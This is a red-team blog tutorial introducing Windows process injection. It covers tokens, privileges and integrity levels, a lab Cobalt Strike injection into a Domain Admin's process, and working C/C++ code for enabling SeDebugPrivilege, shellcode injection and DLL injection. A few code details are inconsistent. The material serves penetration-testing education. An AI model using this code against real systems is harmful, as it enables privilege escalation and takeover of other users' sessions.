Process injection is a defence evasion technique that any skilled penetration tester needs in their arsenal, but where to begin? We challenged Brandon – an Advanced Security Consultant and member of our Red Team here at Secarma – to guide readers through his process injection methods, providing all the info he wishes he was told when first learning. Read on for a detailed overview of this essential pentesting technique.

Introduction

Process Injection is a term that encompasses a lot of prerequisite knowledge which is often taken for granted, and I’m writing this how I would have liked to find it when I first started looking into Process Injection. In this blog series, I want to formalise that. Starting within this blog (part 1) where I’ll be breaking down some of the theory behind how and why process injection works, then another series or two breaking down some techniques and eventually finishing off with process injection in the face of Endpoint Detection and Response (EDR) Solutions.

The question looms then, what is process injection? Well, the Mitre ATT&CK Framework explains it as such:

Adversaries may inject code into processes to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

Essentially, Process Injection is used to inject malicious code into another process. Typically speaking, this is for privilege escalation. Before moving onto performing process injection, we need to go over a bunch of terminology and theory.

Processes

When we talk about processes within Windows, we need to remember that a process is just a management object which contains the required resources to execute a program.

For a process to run, it must have a running thread which is the component that runs the code. As an example:

process injection theoory

In our case, we want to create a new thread within a process that will run our code. There are some cases in which we won’t do this, and we can instead just hijack an existing thread. But we won’t utilize any of those methods within this series but will instead focus on creating our own thread in a remote host.

For something to be considered a process, it needs to have the following:

Virtual Address Space

Private Virtual Address Space is memory that a process can access, and it is considered ‘private’ which means only that process can see the address space. To share address space, that memory will then be mapped on disk and shared that way. But that isn’t important for what we need right now. Memory is a huge rabbit hole of information, but it is well documented on MSDN.

To see this data, VMMap can be used:

Table of Handles

Handles are something we will revisit shortly, so for now we will just remember that they are an object that represents a system resource. This can be:

  1. Files
  2. Threads
  3. Processes
  4. Etc

So, with that in mind, a table of handles is literally a table… of handles. It contains a reference to all the handles that a process has open.

As an example, using Process Explorer we can see this:

process explorer

If this isn’t present, go to View, Lower Pane View and Handles. For those interested, that data can be obtained with NtQuerySystemInformation:

Tokens

Another topic we will revisit independently later in this post. So, for now, each process requires an Access Token. This is responsible for setting the security context of the process and will subsequently inherit all the access controls of the user for which it is running.

To keep in our SysInternals theme, Process Explorer can be used to see this too. Find the process and go to the Security tab:

Things like the Integrity flag and Privileges we will revisit more in-depth shortly.

Threads

A thread is the component of a process that executes code and it is scheduled by the kernel to do so. A thread is responsible for maintaining the state of the CPUs registers, current security context, the state of the process and so on.

To overly simplify a process, it would like something like this:

And again, Process Explorer:

If the above is alien to you, I’d recommend looking up Windows Internals by Pavel Yosifovich because these topics have a lot of detail to them, they are worth having their own dedicated time to explore them.

Now that we are a bit more comfortable with what a process is, and the aspects we will be digging into, we need to investigate Privileges and Integrity.

Privileges

A privilege is pretty much self-explanatory, it lets the process know what system-level operations it can perform. Some examples (which you will be seeing a lot of shortly) are:

There are a ton of options and they are configurable within the Local Security Policy, under Local Policies and User Rights Assignment:

If we go back to Process Explorer and the Security tab, we can check the privileges of a process:

Right now, we don’t need to care about anything specific, we’ll get to that later. However, whatever privileges are applied will be stored within the Access Token.

Access Tokens

An Access Token consists of a mixture of different components as documented on MSDN:

  • The security identifier (SID) for the user’s account
  • SIDs for the groups of which the user is a member.
  • A logon SID that identifies the current logon session
  • A list of the privileges held by either the user or the user’s groups.
  • An owner SID
  • The SID for the primary group
  • The default DACL that the system uses when the user creates a securable object without specifying a security descriptor.
  • The source of the access token
  • Whether the token is a primary or impersonation token
  • An optional list of restricting SIDs
  • Current impersonation levels

I’m not going to go through every single one, but here’s an overview of the ones that we will need to know.

A Security Identifier, SID, is used to uniquely identify the owner of the process. A SID consists of a 6 byte authority field, a 32-bit sub-authority value and then finishes with a single 32-bit Relative Identifier:

It also uses further SIDs to represent the group memberships of the owner and the logon session. A logon session will begin whenever a user logs on to a machine and then all subsequent processes spawned by or under the user or their authority will adopt this within their access token. There are also a bunch of other SIDs which we don’t care about right now because it’s not relevant to what we want to achieve.

So, to recap, an access token describes the security context of a process, who owns it and what the process can do.

Integrity

Before we actually get into code, we need to discuss the final hurdle for this blog: Mandatory Integrity Control. The primary purpose of the Mandatory Integrity Control (MIC) is used to govern access to securable objects. A Securable Object is an object that has an associated Security Descriptor, which is another mechanism relating back to SIDs and access control. As you can tell by now, Windows loves access control.

All we need to remember is this, there are 4 levels of access we need to concern ourselves with:

  1. Low
  2. Medium
  3. High
  4. System

Low is rarely given unless a process is specifically running within it. Medium is the most common as standard users will operate within it. So, if a user creates a process, it will adopt medium because the process will adopt the minimum of the user’s integrity level. High is associated with anything executed in an elevated context, and system processes run as system. High and System are of special interest because they allow for us to manipulate secure objects, which we will utilise later in this post.

Looking at the definitions in the Windows API, we can see a few more:

Setting the scene

Before going any further, lets reiterate the objectives. So far, we’ve gained an understanding of what processes are, and what we need to perform process injection. With that said, Let’s say a beacon has landed, doesn’t matter how. In this instance, the beacon has landed as AVATAR\sokka:

cobalt strike

Immediately we can tell that we are not in high integrity because Cobalt Strike will depict that with a red icon and lightning bolts. We can also double check that by looking at our privileges with something like whoami. I’d recommend that this is done via a Beacon Object File, like this.

Checking the privileges:

As we can see, we have medium integrity and no notable privileges set. We’ll get back to this in a second.

It was alluded to during the introduction, but a common reason for process injection is privilege escalation, and in this case, we will demonstrate process injection to compromise other users on the box. So, let’s check the processes:

Above we can see that the Domain Admin, AVATAR\iroh, is on the box. As this is my lab, that’s a Domain Admin account for the purpose of demonstrating this.

Cool, so we have a target. Before we investigate process injection from a code perspective, I want to demonstrate integrity and privileges. So, let’s use the Cobalt Strike inject command to prove a point:

We receive an error and the code 5. Looking 5 up, it’s ERROR_ACCESS_DENIED. This should be obvious after all the discussions of access controls we’ve had so far. This access denied comes from the fact that in medium integrity we only have access to our own objects. So, what if we do some magic and get a high integrity beacon to gain access to other user’s objects?

Above we have another beacon which is in an elevated state, high integrity, and is depicted by the red icon and asterisks next to the username. What if we inject again?

Still access denied. Why is that? Well, let’s look at the privileges again:

As you can see, a lot more have appeared. SeImpersonatePrivilege is now enabled, which is default for users in the Administrators group. But there is one key one disabled: SeDebugPrivilege.

The SeDebugPrivilege is used to debug/adjust memory of a process owned by another user. To adjust our OWN privileges, we need high integrity, which is where all this ties together. So, let’s give ourselves that privilege. We can either do it with Users Rights Assignment, as detailed here, or we can do it via code and add it into our beacon, which I shall do because it may be a utility required for an implant:

MSDN details how to add this privilege, but here is my code to do so:

#include <windows.h>
#include <stdio.h>
#include <string.h>

int EnableTokenPrivilege(LPTSTR lpszPrivilege)
{
    printf("[*] Enabling: %s\n", lpszPrivilege);

    TOKEN_PRIVILEGES tp;
    int status = 0;
    HANDLE hToken = NULL;
    DWORD dwSize;            

    ZeroMemory(&tp, sizeof(tp));
    tp.PrivilegeCount = 1;
     
    if(OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) && LookupPrivilegeValue(NULL, lpszPrivilege, &tp.Privileges[0].Luid))
    { 
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        if(AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, &dwSize)){
            printf("   |-> Enabled: %s\n", lpszPrivilege);
            status = 1;
        }
        else{
           printf("[!] Failed to enable %s: %d\n", lpszPrivilege, GetLastError());
        }
    }
    CloseHandle(hToken);
    printf("\n");
    return status;
}

In the above we are taking in a privilege, in this case SeDebugPrivilege will be the parameter, and then we’re getting a handle to the current processes token with OpenProcessToken and GetCurrentProcess. If that succeeds as well as a lookup of the privilege with LookupPrivilegeValue, we set the privileges attribute to SE_PRIVILEGE_ENABLED. Once that’s done, we call AdjustTokenPrivileges to set it. As this is a part of a private implant framework, I just need to expose the function within a header file:

#ifndef PRIVS_H_
#define PRIVS_H_

#include <windows.h>

int EnableTokenPrivilege(LPTSTR lpszPrivilege);

#endif

And call it before execution. So, if we run a new beacon that privilege should be set:

Now we can see that SeDebugPrivilege is enabled. Do note, though. This workflow works for the lab but may not work for what you’re trying to achieve. Consider solving this issue with a Beacon Object File (BOF) or something.

If we rerun the injection:

We have a new beacon from iroh:

Let us recap. Up until this point, we have briefly covered a bunch of required theory to understand what we need from Windows to perform Process Injection. We then looked at what that means in practice when we used the inject function from Cobalt Strike as a tester. After all of this, we are now in a good position to look at process injection from a code-perspective.

Injection

We are going to cover two types of injection in this blog. Generic shellcode injection, and DLL Injection. Both have their use-cases.

Method 1: Shellcode Injection

Otherwise known as Portable Executable Injection, this technique focuses on writing malicious code into the virtual address space of another process. Typically, the end goal is to create a thread in that remote process, but the way it allocates the space can change. For this generic version, we are just going to use the following sequence of calls:

  1. OpenProcess: Get a handle to the remote process.
  2. VirtualAllocEx: Change the state of a region of memory within a remote process.
  3. WriteProcessMemory: Write data to a specified process.
  4. CreateRemoteThread: Start a thread in a remote process.

We aren’t bothered about any operational security for this technique, we’re just focusing on understanding what is happening.

So, the first thing we need is a handle to the remote process. This is achieved with OpenProcess:

The first parameter required is the access rights that we want on that process. This is detailed in Process Security and Access Rights on MSDN, and the ones we’re looking for are:

PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION
  1. PROCESS_CREATE_THREAD: Self-explanatory, this is the right to create a thread.
  2. PROCESS_VM_OPERATION: Required to perform an operation on the address space of a remote process.
  3. PROCESS_VM_WRITE: The right to write memory to the remote process.

We can cheat though, and instead of this list we could just use PROCESS_ALL_ACCESS or MAXIMUM_ALLOWED. Typically speaking, PROCESS_ALL_ACCESS will suffice.

The next flag is a boolean for whether we want to inherit the handles of the other process. Most cases this is fine, but you may want to set this to FALSE if need be. Finally, the PID to access. It should all look something like this:

HANDLE hProcess;
hProcess = ::OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION, TRUE, pid);

if (!hProcess) {
    printf("[!] OpenProcess(): %u\n", GetLastError());
    goto Cleanup;
}
printf("[+] Process Handle: %p\n", hProcess);

Once we have a handle to the process, we can allocate our shellcode with VirtualAllocEx. This is not to be confused with VirtualAlloc. The appended Ex is the extended version of the call; often the extension is that the first parameter is a handle to a remote process:

hProcess is the previous handle we have opened, then we can pass nullptr to LPVOID because we want to allow VirtualAllocEx to determine where to allocate space. Next, we have the size of our shellcode.

This will depend on where the shellcode is coming from. If it’s a raw file, then:

xxd -i /path/to/bin

Or most tools generating shellcode should tell you it’s true size. If in doubt, it may be possible to just use sizeof(shellcode var).

The next to are the interesting ones. flAllocationType will, in most cases, be MEM_COMMIT|MEM_RESERVE. Where MEM_RESERVE will reserve the space required, and MEM_COMMIT will commit that change to memory. However, MEM_COMMIT will do both now. Finally, flProtect. This will be expanded on in the next part. This is the Memory Protection Constant and for now we will set this to PAGE_EXECUTE_READWRITE. This simply enables read, write, and execute on the committed region of pages. This is an interesting operational security issue that we don’t need to worry about just yet.

It should all look something like this:

LPVOID pAddress;
pAddress = ::VirtualAllocEx(hProcess, nullptr, bufsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (!pAddress) {
    printf("[!] VirtualAllocEx(): %u\n", GetLastError());
    goto Cleanup;
}
printf("[+] Base Address: %p\n", pAddress);

Now that the space is allocated, it the shellcode can be written. This is done with WriteProcessMemory:

A lot of parameters, but nothing special. A handle to the process, the base address we created with VirtualAllocEx, the shellcode itself, the size of it and then an out parameter for the number of bytes written. Throwing it all together:

SIZE_T bytesWritten;
if (!::WriteProcessMemory(hProcess, pAddress, buf, bufsize, &bytesWritten)) {
    printf("[!] WriteProcessMemory(): %u\n", GetLastError());
}
printf("[+] Wrote %lld bytes!\n", bytesWritten);

All that there is left to do is create the thread. To do that, the CreateRemoteThread call is used:

process injection

As all remote operations go, the first parameter is a handle to that process.

hThread = ::CreateRemoteThread(hProcess, nullptr, bufsize, (LPTHREAD_START_ROUTINE)pAddress, nullptr, 0, &id);
if (!hThread) {
    printf("[!] CreateRemoteThread(): %u\n", GetLastError());
    goto Cleanup;
}
printf("[+] Thread Handle: %p\n", hThread);
::CloseHandle(hThread);

The second parameter, lpThreadAttributes, is set to nullptr which essentially sets the security descriptor to default, and the handle ‘cannot be inherited.’ If this is required, see SECURITY_ATTRIBUTES. dwStackSize will just be the amount of shellcode to write. lpStartAddress is a pointer to an application-defined function which is typed to LPTHREAD_START_ROUTINE. In a real-world application, a function would have to be declared and passed here:

DWORD WINAPI DoSomething(PVOID param){
    // Do something
    return 99;
}

Where 99 is a user-specified exit-code. As this is not required, we can just cast the base-address:

(LPTHREAD_START_ROUTINE)pAddress

The next parameter, lpParameter is used to go along with the function above, as we aren’t passing data, we can also skip this and set it to nullptr. dwCreationFlags sets the creation attributed, 0 will start immediately whereas CREATE_SUSPENDED would start suspended.

Finally, we have an optional-out parameter. If the thread ID isn’t needed, it can get set to nullptr. Else, pass it to a DWORD.

All this together in a function:

void Inject(int pid) {
       LPVOID pAddress;
       HANDLE hThread;
       HANDLE hProcess;
       DWORD id;
       SIZE_T bytesWritten;

       hProcess = ::OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION, TRUE, pid);

       if (!hProcess) {
             printf("[!] OpenProcess(): %u\n", GetLastError());
             goto Cleanup;
       }
       printf("[+] Process Handle: %p\n", hProcess);

       pAddress = ::VirtualAllocEx(hProcess, nullptr, bufsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
       
       if (!pAddress) {
             printf("[!] VirtualAllocEx(): %u\n", GetLastError());
             goto Cleanup;
       }
       printf("[+] Base Address: %p\n", pAddress);

       if (!::WriteProcessMemory(hProcess, pAddress, buf, bufsize, &bytesWritten)) {
             printf("[!] WriteProcessMemory(): %u\n", GetLastError());
       }
       printf("[+] Wrote %lld bytes!\n", bytesWritten);

       hThread = ::CreateRemoteThread(hProcess, nullptr, bufsize, (LPTHREAD_START_ROUTINE)pAddress, nullptr, GENERIC_EXECUTE, &id);
       if (!hThread) {
             printf("[!] CreateRemoteThread(): %u\n", GetLastError());
             goto Cleanup;
       }
       printf("[+] Thread Handle: %p\n", hThread);
       ::CloseHandle(hThread);

Cleanup:
       if (hProcess) ::CloseHandle(hProcess);
       return;
}

Executing:

To summarize, we used a basic example of process injection using the following WinAPI Calls:

  1. OpenProcess
  2. VirtualAllocEx
  3. WriteProcessMemory
  4. CreateRemoteThread

Loading notepad.exe up in Process Explorer and looking up the Thread ID 5700:

Let’s move onto the second method.

Method 2: DLL Injection

For the most part, DLL Injection is the same (kind of). Its only differences lie within some of the parameters. Let’s walk through it.

We open a handle as normal:

hProcess = ::OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);

if (!hProcess) {
    printf("[!] Failed to open a handle to %d: %u\n", pid, ::GetLastError());
    goto Cleanup;
}
printf("[+] Process Handle: %p\n", hProcess);

We then need to get the address of LoadLibrary, this will become evident soon. To do that, the GetProcAddress call can be used:

LPVOID pLoadLibrary = (LPVOID)::GetProcAddress(hModule, "LoadLibraryA");

if (!pLoadLibrary) {
    printf("[!] Failed to address of LoadLibraryA: %u\n", ::GetLastError());
    goto Cleanup;
}
printf("[+] LoadLibraryA Address: %p\n", hModule);

With that done, the space can be allocated. But the key difference here is that the length of the DLL name will be passed:

pAllocatedSpace = ::VirtualAllocEx(hProcess, NULL, strlen(poDLL), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (!pAllocatedSpace) {
    printf("[!] Failed to allocate space for PO.DLL: %u\n", ::GetLastError());
    goto Cleanup;
}
printf("[+] Allocated Base Address: %p\n", pAllocatedSpace);

Where poDLL is:

char poDLL[1024] = "C:\\Users\\mez0\\Desktop\\Po\\x64\\Release\\PoDLL.dll";

Po will be introduced in part 2.

This is then written to the process with WriteProcessMemory as we did last time. But this time the strlen is specified for the size, and the buffer is the path to the DLl:

if (!::WriteProcessMemory(hProcess, pAllocatedSpace, poDLL, strlen(poDLL), NULL)) {
    printf("[!] Failed to write PO.DLL into %d: %u\n", pid, ::GetLastError());
    goto Cleanup;
}
printf("[+] Wrote %s into %d!\n", poDLL, pid);

With that, the thread can be started:

hThread = ::CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pLoadLibrary, pAllocatedSpace, 0, NULL);
if (!hThread) {
    printf("[!] Failed to create thread in %d: %u\n", pid, ::GetLastError());
    goto Cleanup;
}
printf("[+] Thread Handle: %p\n", hThread);

The start address above is the address of LoadLibrary and the parameter for the thread is the path. So, when the thread starts, it will call LoadLibrary with the path as an argument.

The full code:

void Example3() {
       BOOL success = FALSE;
       BOOL dllLoaded = GetDLLName(pid);
       HANDLE hProcess = NULL;
       HANDLE hThread = NULL;
       HMODULE hModule = NULL;
       LPVOID pLoadLibrary = NULL;
       LPVOID pAllocatedSpace = NULL;

       if (!FileExists(poDLL)) {
             printf("[!] %s doesnt exist!\n", poDLL);
             goto Cleanup;
       }

       if (dllLoaded) {
             printf("[!] %s ALREADY LOADED!\n", poDLL);
             goto Cleanup;
       }

       printf("[+] PO.DLL not Loaded!\n");

       hProcess = ::OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);

       if (!hProcess) {
             printf("[!] Failed to open a handle to %d: %u\n", pid, ::GetLastError());
             goto Cleanup;
       }
       printf("[+] Process Handle: %p\n", hProcess);

       hModule = ::GetModuleHandleW(L"kernel32.dll");

       if (!hModule) {
             printf("[!] Failed to open a handle to kernel32.dll: %u\n", ::GetLastError());
             goto Cleanup;
       }
       printf("[+] KERNEL32.DLL Handle: %p\n", hModule);

       pLoadLibrary = (LPVOID)::GetProcAddress(hModule, "LoadLibraryA");

       if (!pLoadLibrary) {
             printf("[!] Failed to address of LoadLibraryA: %u\n", ::GetLastError());
             goto Cleanup;
       }
       printf("[+] LoadLibraryA Address: %p\n", hModule);

       pAllocatedSpace = ::VirtualAllocEx(hProcess, NULL, strlen(poDLL), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

       if (!pAllocatedSpace) {
             printf("[!] Failed to allocate space for PO.DLL: %u\n", ::GetLastError());
             goto Cleanup;
       }
       printf("[+] Allocated Base Address: %p\n", pAllocatedSpace);

       if (!::WriteProcessMemory(hProcess, pAllocatedSpace, poDLL, strlen(poDLL), NULL)) {
             printf("[!] Failed to write PO.DLL into %d: %u\n", pid, ::GetLastError());
             goto Cleanup;
       }
       printf("[+] Wrote %s into %d!\n", poDLL, pid);

       hThread = ::CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pLoadLibrary, pAllocatedSpace, 0, NULL);
       if (!hThread) {
             printf("[!] Failed to create thread in %d: %u\n", pid, ::GetLastError());
             goto Cleanup;
       }
       printf("[+] Thread Handle: %p\n", hThread);

       success = TRUE;

       goto Cleanup;

Cleanup:
       if (pAllocatedSpace) ::VirtualFreeEx(hProcess, poDLL, 0, MEM_RELEASE);
       if (hProcess) ::CloseHandle(hProcess);
       if (hModule) ::CloseHandle(hModule);
       return;
}

In Process Explorer, go to View, Lower Pane View and DLLs. PoDLL.dll cannot be seen:

Running the injector, PoDLL.dll gets loaded:

Conclusion

This was a big post in which some basic-prerequisite topics were introduced that allow for Process Injection. In no means in this blog the end-all-be-all this topic, it is meant to serve as an introduction as to how and why process injection works and review two common ways of achieving it

Two methods of process injection were covered:

  1. Shellcode (PE) Injection
  2. DLL Injection

Each technique was detailed, but no OpSec considerations were given meaning that it will likely be caught by any and everything, but that’s fine because this is just an introduction. In part 2 we will cover multiple indicators of compromise, and how to move away from these techniques and into something much stealthier and look at evading modern defences such as EDR.

Want more insights from the team? We’ve got you covered: check out the Secarma Labs Twitter for more offensive security musings.

If you’re interested in developing your pentesting knowledge, we’re running a series of Hacking & Defending security training courses, where you get hands-on experience in ethical hacking. If you’d like to get involved, check out our Training page, or contact us here.

 

Latest

Securing Financial Transactions in the Digital Age

The digital revolution has radically changed how we both handle our money and the steps to securing ...

The Role of AI in Cybersecurity Friend or Foe

In this article, we'll explore the role of AI in Cybersecurity the potential benefits it provides, a...

Consulting on IoT and PSTI for manufacturers

IOT Self-Statement of Compliance for PSTI?

Often when our IoT consultants find themselves deep in conversation about the Product Security and T...